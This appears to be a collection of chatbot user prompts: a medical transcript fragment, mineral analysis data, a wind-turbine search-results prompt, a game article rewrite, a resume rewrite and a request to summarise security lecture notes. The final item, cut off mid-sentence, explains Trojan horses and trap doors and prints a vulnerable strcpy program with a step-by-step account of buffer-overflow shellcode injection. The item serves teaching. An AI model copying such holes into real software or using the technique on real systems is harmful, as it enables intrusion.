definitely definitely having a I mean, if we were gonna are we gonna do a Western Washington blood panel anyway, we could just do the casing while we're at it, and you just have the fresh most up to date info and we don't even have to worry about\n\nAllergist 29:13 \nleaks. My other comment would be when he was allergy tested at the place of Tacoma. Did they do any sort of environmental as well?\n\nTom 29:21 \nUm, the last time he was there, they only tested for the milk they didn't do the environmental Yeah,\n\nAllergist 29:27 \nokay. Okay. a while since he's done that\n\nTom 29:32 \nI think it's been like six months or something since they did the larger prick test where they picked him up with a bunch of different things and he had you know a bunch of marks on his on him I gotta double check find out when that was Yeah,\n\nAllergist 29:49 \nyeah, well, we can do is we do you have a preference if it's LabCorp quest?\n\nTom 29:56 \nI don't know. I guess it all depends on our insurance or I don't know if it matters.\n\nAllergist 30:04 \nmost insurances, it doesn't matter. But if you want to check with them beforehand, let us know. And then I can just send you a lab order to whatever lab you prefer." -'This is epma data collected for my phd thesis on the topic PETROGRAPHIC, GEOCHEMICAL AND MINERALOGICAL INVESTIGATIONS OF SILLAI PATTI, CARBONATITES FROM PESHAWAR PLAIN ALKALINE IGNEOUS PROVINCE (PPAIP), PAKISTAN. \n\nWeight percent Group : 2020\\_12\\_18\\_noc Sample : 2020\\_12\\_18\\_noc\\_0006\\_QNT Page 1 \n \n No. SiO2 Al2O3 FeO CaO MnO SrO ZnO BaO Na2O MgO CO2 Total Comment \n1 0.000 0.001 0.865 51.486 0.583 1.391 0.000 0.005 0.024 0.383 42.326 97.064 SP1\\_4\\_m1\\_p6 \n2 0.009 0.000 0.938 52.081 0.590 1.671 0.000 0.000 0.072 0.398 43.022 98.781 SP1\\_4\\_m1\\_p7 \n3 0.005 0.000 0.821 51.348 0.574 1.706 0.021 0.000 0.018 0.350 42.293 97.136 SP1\\_4\\_m2\\_p6 \n4 0.027 0.000 0.018 55.442 0.005 0.122 0.000 0.027 0.010 0.014 43.643 99.308 SP1\\_4\\_m2\\_p7 \n5 0.000 0.001 0.855 53.966 0.589 1.573 0.020 0.019 0.027 0.386 44.366 101.802 SP1\\_4\\_m3\\_p6 \n6 0.000 0.000 0.890 52.975 0.506 1.494 0.033 0.034 0.051 0.350 43.513 99.846 SP1\\_4\\_m4\\_p7 \n7 0.020 0.000 0.887 53.111 0.594 1.669 0.041 0.000 0.046 0.324 43.738 100.430 SP1\\_4\\_m5A\\_p7 \n8 0.000 0.004 0.883 52.270 0.535 1.459 0.000 0.000 0.000 0.377 42.929 98.457 SP1\\_4\\_m6\\_p5 \n9 0.000 0.000 0.761 52.945 0.478 1.524 0.024 0.000 0.015 0.325 43.338 99.410 SP1\\_4\\_m7\\_p8 \n10 0.000 0.007 0.942 52.662 0.490 1.321 0.031 0.000 0.000 0.821 43.692 99.966 SP1\\_4\\_m8\\_p5 \n11 0.000 0.026 0.859 52.418 0.450 1.407 0.027 0.025 0.001 0.380 43.010 98.603 SP2\\_20\\_m1\\_p1 \n12 0.003 0.003 0.777 51.796 0.573 1.444 0.000 0.008 0.016 0.359 42.508 97.487 SP2\\_20\\_m2\\_p6 \n13 0.001 0.000 0.817 51.462 0.531 1.366 0.000 0.000 0.026 0.280 42.121 96.604 SP2\\_20\\_m2\\_p8 \n14 0.000 0.000 0.886 52.465 0.662 1.600 0.017 0.000 0.000 0.397 43.249 99.276 SP2\\_20\\_m3\\_p5 \n15 0.000 0.000 0.920 51.589 0.519 1.365 0.036 0.046 0.038 0.349 42.391 97.253 SP2\\_20\\_m4\\_p5 \n16 0.000 0.000 0.020 56.794 0.000 0.021 0.011 0.000 0.000 0.008 44.607 101.461 SP2\\_20\\_m4\\_p6 \n17 0.000 0.000 0.824 52.466 0.522 1.554 0.000 0.013 0.017 0.327 43.035 98.758 SP2\\_20\\_m5\\_p7 \n18 0.000 0.000 0.875 51.565 0.528 1.533 0.004 0.011 0.023 0.360 42.396 97.295 SP2\\_20\\_m6\\_p4 \n19 0.008 0.022 0.595 51.393 0.577 1.490 0.010 0.000 0.000 0.300 42.060 96.455 SP2\\_20\\_m7\\_p8 \n20 0.021 0.000 0.737 52.910 0.535 1.510 0.000 0.026 0.041 0.390 43.440 99.610 SP2\\_20\\_m9A\\_p6 \n21 0.037 0.023 0.234 54.474 0.201 0.146 0.000 0.001 0.035 0.020 43.212 98.383 SP2\\_20\\_m10\\_p7 \n22 0.000 0.000 0.882 52.182 0.550 1.523 0.000 0.021 0.028 0.366 42.905 98.457 SP2\\_20\\_m10\\_p8 \n23 0.000 0.000 0.640 51.488 0.564 1.841 0.000 0.000 0.031 0.317 42.298 97.179 SP2\\_20\\_m11\\_p6 \n24 0.009 0.000 0.914 51.954 0.579 1.450 0.017 0.015 0.073 0.339 42.757 98.107 SP2\\_20\\_m12\\_p4 \n \nMinimum 0.000 0.000 0.018 51.348 0.000 0.021 0.000 0.000 0.000 0.008 42.060 96.455 \nMaximum 0.037 0.026 0.942 56.794 0.662 1.841 0.041 0.046 0.073 0.821 44.607 101.802 \nAverage 0.006 0.004 0.743 52.635 0.489 1.341 0.012 0.010 0.025 0.330 43.035 98.630 \nSigma 0.010 0.008 0.268 1.355 0.172 0.495 0.014 0.013 0.021 0.158 0.682 1.446 \nNo. of data 24' -'Web search results:\n\n[1] "New Berkeley Lab study finds a dramatic increase in estimated project output coupled with a decrease in surrounding sound levels for future turbines as compared to those installed in the past.\xa0\nMultiple technological, social, and market factors of wind power are evolving rapidly. Most notably, significant wind turbine scaling in height and size is occurring and is forecasted to continue. While the larger turbines expected to be deployed in the future are more powerful and efficient, they are also expected to operate with higher sound emissions than those installed in the last decade. Due to their taller heights, larger rotors, and higher sound power levels, future wind turbines will require larger setbacks from homes and greater inter-turbine spacing, resulting in fewer turbines deployed for a given land area. These competing technology and siting trends – and their associated impacts – are not well understood.\nThe new Lawrence Berkeley National Laboratory analysis “Effects of land-based wind turbine upsizing on community sound levels and power and energy density” simulates the development of 22 unique projects at two different prototypical sites using eleven different wind turbine models to extract output, nameplate capacity, numbers of turbines and receptor sound level patterns between projects using older, current, and future turbine models sited within a fixed land area.\nThe study, published in Applied Energy in open-access format, is available here(link is external). The authors will host a webinar covering the results of the study on April 13, 2023, at 1 PM Eastern / 10 AM Pacific. Register here: https://lbnl.zoom.us/webinar/register/WN\\_ljqJqmyWQEaSl0nC99kDdQ(link is external).\nA summary of the key findings follows:\nThe analysis finds, unsurprisingly, future turbines are more than 60% taller than those installed most frequently in the last decade. Relatedly, 60% fewer turbines are expected to be able to fit in the same land area in the future as they were in the past.\nFrom the Then period (using the most frequently installed turbines in the last decade in the US, 2011-2020) to the Future period (turbines that are expected to be installed in the next three to five years, 2023-2025), wind turbine heights are expected to increase an average of 60%, from 122 m to 202 m (Figure 1). This increase in turbine total height, coupled with larger rotor diameters and sound power level increases, decreases the number of turbines that can be developed in the fixed land area at our two prototypical sites. Accordingly, the average number of turbines decreases by 60% (from 222 to 89) at those sites. (See Figure 1 caption for more details on periods.)\nDespite fewer turbines, plant layouts using future turbines result in projects with higher installed capacities and annual energy output for a given land area.\nDespite 60% fewer turbines for the given land area at the two sites, the total installed nameplate capacity for Future projects increases by roughly 11% (from 395 MW to 437 MW), and estimated annual energy output increases by almost 60% (from 1,146 GWh/yr to 1,825 GWh/yr) over the Then period. These average trends are shared among all the manufacturers and across both sites, with some variation in the size of those trends (not shown). These output increases are driven, in large part, by significant increases in rated capacity and efficiency of the turbine models used in the Future period.\nCommunity sound levels at homes are expected to be significantly lower in the future, despite overall louder turbines.\nEven though serrated trailing edges (STE), which lower sound levels by approximately 1.5 dBA, are expected to be applied to the blades of all future turbine models, turbine sound levels (at the hub) for Future turbines are higher (105.3 dBA) than for Then turbines (104.3 dBA). Despite this predicted increase, sound levels at homes surrounding the turbines are estimated to be 18% lower in the Future period. This decrease is the result of increases in setbacks from the homes which scale as a multiple of turbine height and a factor of turbine sound power, as well as fewer wind turbines being constructed in the same land area.\nFigure 1. Mean total wind turbine height, numbers of wind turbines, total project capacity, project output, and loudness among the periods examined. Those periods were chosen to represent, respectively; Then: turbines most frequently installed in the last decade in the US (2011–2020); Now: turbines most frequently installed in the last two years in the US (2019–2020); and, Future: turbines most likely to be installed in the next three to five years in the US (i.e., 2023-2025). All Future turbines are expected to have serrated trailing edges to reduce sound levels (STE), so separate projects were designed using turbines representing the Now period with STE (Now with STE) and all Future turbines contain STE to align with manufacturer expectations.\nThese lower sound levels occur not only for homes neighboring projects, but also those very close to turbines on parcels hosting turbines.\nA commonly mentioned potential nuisance for homes very near wind projects are turbine sounds. Yet our research finds that average estimated receptor sound pressure levels (SPL) (a measurement of what neighboring home inhabitants might hear) surrounding the projects in all periods show consistent decreases from those estimated in the Then period (Figure 2). This is especially pronounced for the Future period, where decreases are between 1.5 and 3 dB. Participating homes, which are located on parcels where turbines can be hosted, tend to be closer to wind turbines and are also subject to higher noise limits when designing the projects relative to non-participants’ homes. But, our research finds a reduction in SPL in all periods occurs for those homes, as well as their nonparticipating neighbors. This implies that future turbines might significantly reduce a common potential nuisance.\nFigure 2. Average change of overall A-weighted sound pressure levels (SPL) measured are receptor homes referenced to Then (i.e., starting) SPL by participation. Nonparticipants, those near the projects, are shown as solid lines and participants, those with parcels where turbines can be located, are shown as dashed.\nFigure 2. Average change of overall A-weighted sound pressure levels (SPL) measured are receptor homes referenced to Then (i.e., starting) SPL by participation. Nonparticipants, those near the projects, are shown as solid lines and participants, those with parcels where turbines can be located, are shown as dashed.\nMyriad other benefits appear likely as a result of increased adoption of taller higher capacity turbines in the future.\nBecause of their increased size, turbines installed in the future will be situated further from homes and property lines given often required setbacks based on total height. Additionally, fewer turbines used for future projects might provide enhanced flexibility as to where turbines are placed on the land, therefore, potentially, creating greater opportunity to avoid sensitive viewsheds. Further, higher project capacities and output could lead to higher local economic benefits (e.g., taxes and income).\nA number of areas for future research are suggested such as: examining aesthetic tradeoffs of fewer larger turbines vs. more numerous smaller turbines; the need to examine outcomes at other sites (ridgelines and alternative wind regimes); and, the value of conducting economic analyses using turbines to be installed in the future.\nWe thank the U.S. Department of Energy’s Wind Energy Technologies Office for their support of this work, as well as the numerous individuals and organizations who generously provided data, information and reviewed our study.\nArticle and Graphs Courtesy of the\xa0Berkeley Labs, Electricity Markets & Policy,\nI don\'t like paywalls. You don\'t like paywalls. Who likes paywalls? Here at CleanTechnica, we implemented a limited paywall for a while, but it always felt wrong — and it was always tough to decide what we should put behind there. In theory, your most exclusive and best content goes behind a paywall. But then fewer people read it! We just don\'t like paywalls, and so we\'ve decided to ditch ours.\nUnfortunately, the media business is still a tough, cut-throat business with tiny margins. It\'s a never-ending Olympic challenge to stay above water or even perhaps — gasp — grow. So ..."\nURL: https://cleantechnica.com/2023/03/25/how-will-future-larger-turbines-impact-wind-project-electricity-output-surrounding-community-sound-levels/\nCurrent date: 2023. 3. 27.\n\nInstructions: Using the provided web search results, write a comprehensive reply to the given query. Make sure to cite results using [[number](URL)] notation after the reference. If the provided search results refer to multiple subjects with the same name, write separate answers for each subject.\nQuery: /page:https://cleantechnica.com/2023/03/25/how-will-future-larger-turbines-impact-wind-project-electricity-output-surrounding-community-sound-levels/\nReply in 한국어' -'Rephrase this article into a very unique 2000 words article about Apex Legends Season 16 is called Reverly and it kicks off on February 14. In a surprising twist, Revelry is the first season of Respawn\'s battle royale game to not add a new playable character to the roster. Instead, the new season makes huge changes to the ability kits of the entire existing crop of 23 legends, making each of their skill sets and specialties easier to digest for first-time players. In that same vein, Season 16 also introduces a new weapon (the Nemesis), a team deathmatch game mode, and a more extensive onboarding process for new players--all of which are also aimed at making the experience of playing Apex Legends more approachable and easier to grasp.\n\nFollowing a preview of everything to come in the new season, I spoke with design director Evan Nikolich, lead weapon designer Eric Canavese, and lead legend designer Devan McGuire about this wonderfully fresh direction. We discussed why making a rival to the meta-dominating R-301 and Flatline isn\'t as straightforward as buffing or changing one of the other existing assault rifles, how the team arrived at the five new character classes--Assault, Skirmisher, Support, Controller, and Recon--and why the team is sunsetting Apex Legends\' sweatiest game mode, Arenas, and adding a brand-new Mixtape playlist and TDM mode in its place.\n\nNow Playing: Apex Legends: Revelry Launch Trailer\n\nIt seems like Season 16 is introducing a lot of cool gameplay changes--both in how players utilize individual characters, the approachability of the game as a whole for new players, and what modes are available to play. How will the narrative and storytelling also evolve this season, if at all?\n\nEvan Nikolich: So this season being our anniversary, the philosophy that we have is "celebration," a celebratory vibe. And yeah, it was an opportunity for us to really focus and revitalize the gameplay. That being said, lore is super important and growing the world of Apex is also core to the experience, the DNA of Apex Legends. And while this season is going to be story-light in the front, we definitely are evolving the way we\'re telling the story and you\'ll start getting some teases to that towards the back end of the season and you\'ll see our story reveal itself season over season for the rest of the year.\n\nDuring the Season 16 preview, y\'all spoke about how part of the reason for the Nemesis is to partially dethrone the dominance of the R-301 and Flatline in the meta--thank you for that, by the way. I am curious though--and if this is too complicated to explain, feel free to say so--what\'s the reasoning behind adding a brand-new energy assault rifle as opposed to making drastic changes to the Havoc, the energy assault rifle already in the game?\nEric Canavese: Yeah, there are a couple of reasons. One of the biggest reasons is we\'ve wanted to add a burst weapon for a long time. Burst weapons are traditionally a bigger hurdle for players to jump over. And so, one of our goals was could we make a burst weapon that could appeal to a wider audience than, say, the Hemlok or the Prowler. The people who love those weapons, love them, but it\'s a pretty small portion of our players who will actually run them. So one of the goals was to answer, "What does an entry-level burst weapon look like?" And if we were to do something like that to the Havoc or whatever, it just would feel very disingenuous to what that weapon is.\n\nAnd when it comes to the Havoc specifically, we really like how the Turbocharger [hop-up attachment] affects the Havoc and the Devotion, and we always want to have multiple weapons use our hop-ups so that there\'s more validity for them on the ground. So we want [the Havoc] to continue to use that Turbocharger in the way that it does. The hop-up works really well for [the Havoc] because it makes the Havoc sort of this transitionary gun to getting to your full power. We call them Exodia weapons--weapons that really need all of their attachments to pop off. Otherwise, they don\'t really do a whole lot on their own. And I know you can argue that the Havoc does, but it\'s a much more cumbersome weapon to use without all of its attachments. And so we didn\'t want to get rid of that concept. It was important to us to explore a new expression of burst and find a weapon that really could capture its own identity and stand next to [other assault rifles].\n\nAnd in addition to all of that, we have been feeling a little bit of strain on the energy ammo economy. It\'s one of our automatic weapon groups that has the least amount of ammo available for it, so you often find that you\'re starved for energy ammo. Introducing another energy ammo weapon will improve your ability to run all the other energy ammo weapons. If you wanted to run a Volt, if you wanted to run Havoc or Devotion, now you\'ll have the extra ammo on the ground [thanks to the Nemesis]. Just reworking something wouldn\'t have achieved all of the goals that we have for a new energy weapon on whole. So that\'s sort of a little bit of insight on the rationale on why we wanted to bring a brand-new weapon to the game. And anytime we bring a weapon to the game, it\'s never just one small goal that we\'re trying to hit. It\'s easy to say, "Oh, just put an energy weapon in because we need more ammo." But there are so many different, nuanced reasons why we would want a new weapon, and that\'s the razor that we\'re going to cut all new weapons against.\n\nThe Nemesis is an automatic burst-fire assault rifle, meaning it will keep firing bursts as you hold down the trigger.\nThe Nemesis is an automatic burst-fire assault rifle, meaning it will keep firing bursts as you hold down the trigger.\nWith Arenas being sunsetted, will Mixtape gain a Ranked playlist or will Ranked play now be exclusively tied to the battle royale side of the game?\n\nNikolich: The BR is our competitive mode. It is the mode that we want to be the ranked, high-end, high-octane competitive experience [in Apex Legends], and then Mixtape is going to service our goal of the mode where you get more reps, find lower stakes, and where you can practice without the threat of feeling like, "I\'m going to cost my team something." And so we want to keep any ranked play out of that for now.\n\nIn the Season 16 preview, y\'all talked about adjustments to Seer, Wraith, Lifeline, and four other characters. Are those seven the focus of S16\'s update or can we expect some minor adjustments to be made to other legends too?\n\nDevan McGuire: There are bug fixes that will improve some of the issues with a few of the characters--there\'s some Crypto and Newcastle stuff in there that obviously you\'ll see in the patch notes. But no, those seven are kind of the core focus. There aren\'t any extra ones that were sitting on the sidelines with minor adjustments, those [seven] are the ones we dove into. And then everybody just gets a major adjustment by getting the class perks added to their kits. So there\'ll be an entirely new layer of how you play each character across the table going into Season 16.\n\nAnd speaking of those new character classes, how did they come about? How did the team determine to expand from four classes to five and what type of perks to give each legend? Was it just playtesting and going, "You know, four is too little but six is way too much," or something like that?\n\nMcGuire: That would be funny if that was it. But no, we took a very deep analytical approach to what the legends all brought to the table and how they played, and we found common patterns between them, such as, "These are the characters who are going to use their abilities and try to poke you from a distance. They\'re going to try to open you up, and then they\'re going to want to push on that because they created an opening." [The legends have] consistent playstyles that fit into natural buckets all by themselves. The exception is Mirage--he\'s kind of like the jack of all trades that can move around in a few different ones, but we lodged him into the class that he\'s in now out of what our analysis resulted in.\n\nBut yeah, just going through that process and going, "These characters play like this, while these characters play like this. These characters are all about movement and escape and getting in and out of fights, while these characters are very focused on the team." There are characters who focus on team play and we had those characters just living in different spots [with the old classes]. So as we started to organize them into different categories, the five [new classes] naturally emerged. Those are the five playstyles that exist in the game. Those are the ways that you approach Apex with the different legends and what their abilities encourage you to do within the game.\n\nEvery playable legend is being adjusted in some way in Season 16.\nEvery playable legend is being adjusted in some way in Season 16.\nThat may grow and change as we add new legends. And we find that there are actually smaller niches that we can compartmentalize things in, but at the moment, those five are the ones that exist and those are the ones that we wanted to celebrate and inform new players of, rather than [having them log on for the first time,] look at a giant list of legends grouped in the order they appeared in the game in, and going, "I don\'t know who is going to fit the way I like to play." We wanted to really make sure that that was something you could easily identify and if you found a character that you liked, you might want to try another character in that spot because they play in a similar vein.\n\nTo that point--I don\'t think we saw it in the presentation and you haven\'t played the build yet, so you\'ll see it when you get in there--but we\'ve actually overhauled the entire front end of the legend selection screen as well as the character select going into the game. It\'s a pretty big effort, which [Apex Legends experience design director] Aaron [Rutledge] can attest to. So the classes are well defined. You can clearly see every character laid out within their class. So it\'s a big reshuffle and reorganization that makes it very, very easy to see and it looks much prettier.' -"I noticed two of my expeirence descriptions are shorter than the rest. Could you rewrite the description for time kaine and rosa delauro?\nExperience\n\nMiddle Seat logo\nMiddle Seat DigitalMiddle Seat Digital\nFull-time · 3 yrsFull-time · 3 yrs\nSenior Digital Advertising StrategistSenior Digital Advertising Strategist\nSep 2021 - Present · 1 yr 7 mosSep 2021 - Present · 1 yr 7 mos\nIn my role as Senior Digital Advertising Strategist, I lead data-driven advertising campaigns for progressive candidates, causes, and organizations. I develop and execute integrated, audience-first marketing strategies that blend traditional silos of Digital, TV, and Radio, ensuring clients achieve their goals through innovative and results-driven methods. I also oversee the development and rollout of agency-wide advertising attribution and reporting tools.In my role as Senior Digital Advertising Strategist, I lead data-driven advertising campaigns for progressive candidates, causes, and organizations. I develop and execute integrated, audience-first marketing strategies that blend traditional silos of Digital, TV, and Radio, ensuring clients achieve their goals through innovative and results-driven methods. I also oversee the development and rollout of agency-wide advertising attribution and reporting tools.\nSkills: SQL · Direct Response Advertising · Online Fundraising and List Building · Digital Persuasion and Mobilization · Data Analysis and VisualizationSkills: SQL · Direct Response Advertising · Online Fundraising and List Building · Digital Persuasion and Mobilization · Data Analysis and Visualization\nDigital Advertising StrategistDigital Advertising Strategist\nApr 2020 - Sep 2021 · 1 yr 6 mosApr 2020 - Sep 2021 · 1 yr 6 mos\nWashington, District of Columbia, United StatesWashington, District of Columbia, United States\nAs a Digital Advertising Strategist, I collaborated with clients to create and optimize digital advertising campaigns for progressive causes and candidates. I leveraged the power of data and creative storytelling to deliver measurable results while continuously refining strategies to maximize ROI. My responsibilities included audience segmentation, targeting, creative development, budget management, and performance analysis.As a Digital Advertising Strategist, I collaborated with clients to create and optimize digital advertising campaigns for progressive causes and candidates. I leveraged the power of data and creative storytelling to deliver measurable results while continuously refining strategies to maximize ROI. My responsibilities included audience segmentation, targeting, creative development, budget management, and performance analysis.\nSkills: Paid Social Media Advertising · Search Engine Marketing (SEM) · Email List Growth · CopywritingSkills: Paid Social Media Advertising · Search Engine Marketing (SEM) · Email List Growth · Copywriting\nBlueprint Interactive logo\nDigital Campaigns AssociateDigital Campaigns Associate\nBlueprint InteractiveBlueprint Interactive\nFeb 2018 - Apr 2020 · 2 yrs 3 mosFeb 2018 - Apr 2020 · 2 yrs 3 mos\nWashington D.C. Metro AreaWashington D.C. Metro Area\nIn my role as Digital Campaigns Associate, I worked to create, optimize, and report on digital advertising campaigns for political candidates, PACs, and organizations. I assisted in campaign strategy development, creative production, ad placement, and performance analysis. My contributions helped ensure that our clients' campaigns were data-driven, effective, and met their specific goals.In my role as Digital Campaigns Associate, I worked to create, optimize, and report on digital advertising campaigns for political candidates, PACs, and organizations. I assisted in campaign strategy development, creative production, ad placement, and performance analysis. My contributions helped ensure that our clients' campaigns were data-driven, effective, and met their specific goals.\nSkills: Facebook Ads · Programmatic Ads · Google Ads · Email Coding · Twitter AdsSkills: Facebook Ads · Programmatic Ads · Google Ads · Email Coding · Twitter Ads\nU.S. House of Representatives logo\nDigital InternDigital Intern\nU.S. House of RepresentativesU.S. House of Representatives\nNov 2017 - Jan 2018 · 3 mosNov 2017 - Jan 2018 · 3 mos\nWashington, D.C.Washington, D.C.\nI assisted the Committee on Oversight and Government Affairs' digital communications efforts. I brought my aptitude in digital design, photography, and website management to bear on ongoing projects, including website CMS management, hearing documentation, and content creation.I assisted the Committee on Oversight and Government Affairs' digital communications efforts. I brought my aptitude in digital design, photography, and website management to bear on ongoing projects, including website CMS management, hearing documentation, and content creation.\nSkills: Content Management Systems (CMS) · DrupalSkills: Content Management Systems (CMS) · Drupal\nOrganizing FellowOrganizing Fellow\nDavid Reid for DelegateDavid Reid for Delegate\nSep 2017 - Nov 2017 · 3 mosSep 2017 - Nov 2017 · 3 mos\nAided the field operation in the 32 District of Virginia for the successful election of Delegate-Elect David Reid and Ralph Northam. I managed direct voter contact for several precincts, recruited and trained volunteers, and collaborated with progressive community organizations to maximize voter turnout.Aided the field operation in the 32 District of Virginia for the successful election of Delegate-Elect David Reid and Ralph Northam. I managed direct voter contact for several precincts, recruited and trained volunteers, and collaborated with progressive community organizations to maximize voter turnout.\nSkills: Political Organizing · Local Campaign · Volunteer Recruitment · GOTVSkills: Political Organizing · Local Campaign · Volunteer Recruitment · GOTV\nU.S. House of Representatives logo\nDigital InternDigital Intern\nU.S. House of RepresentativesU.S. House of Representatives\nFeb 2017 - May 2017 · 4 mosFeb 2017 - May 2017 · 4 mos\nWashington D.C. Metro AreaWashington D.C. Metro Area\nOffice of Democratic Whip Steny Hoyer\nHelped stand up a new media lab focused on video production and live streaming for Congressman Hoyer and other members. I also worked in close collaboration with Mr. Hoyer’s press team, drafting press releases for the Maryland Press Secretary and adapting other materials for social media.Office of Democratic Whip Steny Hoyer Helped stand up a new media lab focused on video production and live streaming for Congressman Hoyer and other members. I also worked in close collaboration with Mr. Hoyer’s press team, drafting press releases for the Maryland Press Secretary and adapting other materials for social media.\nSkills: Video Editing · Political communicationSkills: Video Editing · Political communication\nU.S. House of Representatives logo\nCongressional InternCongressional Intern\nU.S. House of RepresentativesU.S. House of Representatives\nJun 2016 - Aug 2016 · 3 mosJun 2016 - Aug 2016 · 3 mos\nWashington D.C. Metro AreaWashington D.C. Metro Area\nCongresswoman Rosa DeLauro\nConducted legislative research and analysis, handled constituent correspondence, assisted with\nadministrative tasks, and attended Congressional briefings and wrote summary memos.Congresswoman Rosa DeLauro Conducted legislative research and analysis, handled constituent correspondence, assisted with administrative tasks, and attended Congressional briefings and wrote summary memos.\nSkills: Constituent ServicesSkills: Constituent Services\nUnited States Senate logo\nInternIntern\nUnited States SenateUnited States Senate\nJul 2015 - Aug 2015 · 2 mosJul 2015 - Aug 2015 · 2 mos\nRoanoke, VARoanoke, VA\nStaffed Senator Kaine’s regional travel in rural Virginia focusing on economic development,\nhandled constituent casework and correspondence, and helped host town halls.Staffed Senator Kaine’s regional travel in rural Virginia focusing on economic development, handled constituent casework and correspondence, and helped host town halls.\nU.S. Fish and Wildlife Service (USFWS) logo\nInternIntern\nU.S. Fish and Wildlife Service (USFWS)U.S. Fish and Wildlife Service (USFWS)\nJun 2013 - Jul 2013 · 2 mosJun 2013 - Jul 2013 · 2 mos\nArlington, VAArlington, VA\nDuring my short time as an intern at the U.S. Fish and Wildlife Service, I gained invaluable experience in teamwork, research, and understanding the complexity of natural ecosystems. As I ventured into the digital advertising landscape, these experiences helped shape my passion for progressive causes and fostering a better world for future generations.During my short time as an intern at the U.S. Fish and Wildlife Service, I gained invaluable experience in teamwork, research, and understanding the complexity of natural ecosystems. As I ventured into the digital advertising landscape, these experiences helped shape my passion for progressive causes and fostering a better world for future generations.\nBaristaBarista\nBeanetics Coffee RoastersBeanetics Coffee Roasters\n2010 - 2012 · 2 yrs2010 - 2012 · 2 yrs\nAnnandale, VAAnnandale, VA\nBefore diving into the world of digital advertising and politics, I honed my skills as a barista at Beanetics Coffee Roasters. Here, I learned the fine art of crafting the perfect espresso drink, steaming milk to velvety perfection, and turning caffeine cravings into satisfied smiles. It's where I first discovered the importance of excellent customer service, attention to detail, and teamwork. And yes, I can still make a mean cappuccino.Before diving into the world of digital advertising and politics, I honed my skills as a barista at Beanetics Coffee Roasters. Here, I learned the fine art of crafting the perfect espresso drink, steaming milk to velvety perfection, and turning caffeine cravings into satisfied smiles. It's where I first discovered the importance of excellent customer service, attention to detail, and teamwork. And yes, I can still make a mean cappuccino.\nSkills: Customer Service" -'summarise the following information in short key points :\n\nProgram Threats\n\uf0b7 There are many common threats to modern systems. Only a few are discussed here.\nTrojan Horse\n\n16\n\n\uf0b7 A Trojan horse is a program that secretly performs some maliciousness in addition to its\nvisible actions. \uf0b7 Some Trojan horses are deliberately written as such, and others are the result of\nlegitimate programs that have become infected with viruses, \uf0b7 One dangerous opening for Trojan horses is long search paths, and in particular paths\nwhich include the current directory ( "." ) as part of the path. If a dangerous program\nhaving the same name as a legitimate program ( or a common mis-spelling, such as "sl"\ninstead of "ls" ) is placed anywhere on the path, then an unsuspecting user may be fooled\ninto running the wrong program by mistake. \uf0b7 Another classic Trojan Horse is a login emulator, which records a users account name\nand password, issues a "password incorrect" message, and then logs off the system. The\nuser then tries again (with a proper login prompt), logs in successfully, and doesn\'t realize\nthat their information has been stolen. \uf0b7 Two solutions to Trojan Horses are to have the system print usage statistics on logouts,\nand to require the typing of non-trappable key sequences such as Control-Alt-Delete in\norder to log in. (This is why modern Windows systems require the Control-Alt-Delete\nsequence to commence logging in, which cannot be emulated or caught by ordinary\nprograms. I.e. that key sequence always transfers control over to the operating system. ) \uf0b7 Spyware is a version of a Trojan Horse that is often included in "free" software\ndownloaded off the Internet. Spyware programs generate pop-up browser windows, and\nmay also accumulate information about the user and deliver it to some central site. (This\nis an example of covert channels, in which surreptitious communications occur.) Another\ncommon task of spyware is to send out spam e-mail messages, which then purportedly\ncome from the infected user.\nTrap Door\n\uf0b7 A Trap Door is when a designer or a programmer ( or hacker ) deliberately inserts a\nsecurity hole that they can use later to access the system. \uf0b7 Because of the possibility of trap doors, once a system has been in an untrustworthy state,\nthat system can never be trusted again. Even the backup tapes may contain a copy of\nsome cleverly hidden back door. \uf0b7 A clever trap door could be inserted into a compiler, so that any programs compiled with\nthat compiler would contain a security hole. This is especially dangerous, because\ninspection of the code being compiled would not reveal any problems.\nLogic Bomb\n\uf0b7 A Logic Bomb is code that is not designed to cause havoc all the time, but only when a\ncertain set of circumstances occurs, such as when a particular date or time is reached or\nsome other noticeable event.\nStack and Buffer Overflow\n\n17\n\n\uf0b7 This is a classic method of attack, which exploits bugs in system code that allows buffers\nto overflow. Consider what happens in the following code, for example, if argv[ 1 ]\nexceeds 256 characters:\no The strcpy command will overflow the buffer, overwriting adjacent areas of\nmemory.\no ( The problem could be avoided using strncpy, with a limit of 255 characters\ncopied plus room for the null byte. )\n\n#include\n#define BUFFER\\_SIZE 256\nint main( int argc, char \\* argv[ ] )\n{\nchar buffer[ BUFFER\\_SIZE ];\nif( argc < 2 )\nreturn -1;\nelse {\nstrcpy( buffer, argv[ 1 ] );\nreturn 0;\n}\n}\nFigure - C program with buffer-overflow condition. \uf0b7 So how does overflowing the buffer cause a security breach? Well the first step is to\nunderstand the structure of the stack in memory:\no The "bottom" of the stack is actually at a high memory address, and the stack\ngrows towards lower addresses.\no However the address of an array is the lowest address of the array, and higher\narray elements extend to higher addresses. ( I.e. an array "grows" towards the\nbottom of the stack.\no In particular, writing past the top of an array, as occurs when a buffer overflows\nwith too much input data, can eventually overwrite the return address, effectively\nchanging where the program jumps to when it returns.\n\n18\n\nFigure - The layout for a typical stack frame. \uf0b7 Now that we know how to change where the program returns to by overflowing the\nbuffer, the second step is to insert some nefarious code, and then get the program to jump\nto our inserted code. \uf0b7 Our only opportunity to enter code is via the input into the buffer, which means there isn\'t\nroom for very much. One of the simplest and most obvious approaches is to insert the\ncode for "exec (/bin/sh)". To do this requires compiling a program that contains this\ninstruction, and then using an assembler or debugging tool to extract the minimum extent\nthat includes the necessary instructions. \uf0b7 The bad code is then padded with as many extra bytes as are needed to overflow the\nbuffer to the correct extent, and the address of the buffer inserted into the return address\nlocation. (Note, however, that neither the bad code nor the padding can contain null\nbytes, which would terminate the strcpy.) \uf0b7 The resulting block of information is provided as "input", copied into the buffer by the\noriginal program, and then the return statement causes control to jump to the location of\nthe buffer and start executing the code to launch a shell.\n\n19\n\nFigure : Hypothetical stack frame for (a) before and (b) after. \uf0b7 Fortunately modern hardware now includes a bit in the page tables to mark certain pages\nas non-executable. In this case the buffer-overflow attack would work up to a point, but\nas soon as it "returns" to an address in the data space and tries executing statements there,\nan exception would be thrown crashing the program.\nViruses\n\uf0b7 A virus is a fragment of code embedded in an otherwise legitimate program, designed to\nreplicate itself ( by infecting other programs ), and ( eventually ) wreaking havoc. \uf0b7 Viruses are more likely to infect PCs than UNIX or other multi-user systems, because\nprograms in the latter systems have limited authority to modify other programs or to\naccess critical system structures ( such as the boot block. ) \uf0b7 Viruses are delivered to systems in a virus dropper, usually some form of a Trojan Horse,\nand usually via e-mail or unsafe downloads. \uf0b7 Viruses take many forms (see below.) Figure shows typical operation of a boot 